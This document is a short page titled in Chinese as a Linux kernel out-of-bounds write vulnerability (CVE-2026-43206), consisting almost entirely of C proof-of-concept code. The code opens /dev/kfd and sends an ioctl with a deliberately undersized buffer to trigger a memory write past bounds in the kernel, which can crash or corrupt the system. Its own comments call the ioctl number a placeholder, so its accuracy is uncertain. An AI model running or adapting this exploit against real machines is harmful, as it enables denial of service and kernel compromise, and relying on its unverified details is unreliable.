CVE-2026-43206 Linux内核越界写入漏洞

/* * PoC for CVE-2026-43206 * Trigger OOB write in kfd_event_page_set * This code attempts to trigger the vulnerability by passing a small buffer */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> // Placeholder for the actual IOCTL command #define KFD_IOC_SET_EVENT_PAGE 0x8004544B struct kfd_set_event_page_args { uint64_t event_page_addr; uint64_t event_page_size; // Size that will be ignored/unchecked }; int main() { int fd = -1; char *small_buf = NULL; struct kfd_set_event_page_args args; // Open the KFD device fd = open("/dev/kfd", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/kfd"); return 1; } printf("[+] Opened /dev/kfd\n"); // Allocate a buffer that is too small for the memset operation // The function expects KFD_SIGNAL_EVENT_LIMIT * 8 bytes small_buf = malloc(100); if (!small_buf) { perror("[-] Malloc failed"); close(fd); return 1; } printf("[+] Allocated small buffer\n"); args.event_page_addr = (uint64_t)small_buf; args.event_page_size = 100; // Insufficient size printf("[+] Triggering the vulnerability via IOCTL...\n"); // This call triggers the out-of-bounds write in the kernel if (ioctl(fd, KFD_IOC_SET_EVENT_PAGE, &args) != 0) { // The ioctl might fail due to the crash, or return error depending on implementation perror("[-] IOCTL failed (or system crashed)"); } else { printf("[+] IOCTL returned successfully\n"); } free(small_buf); close(fd); return 0; }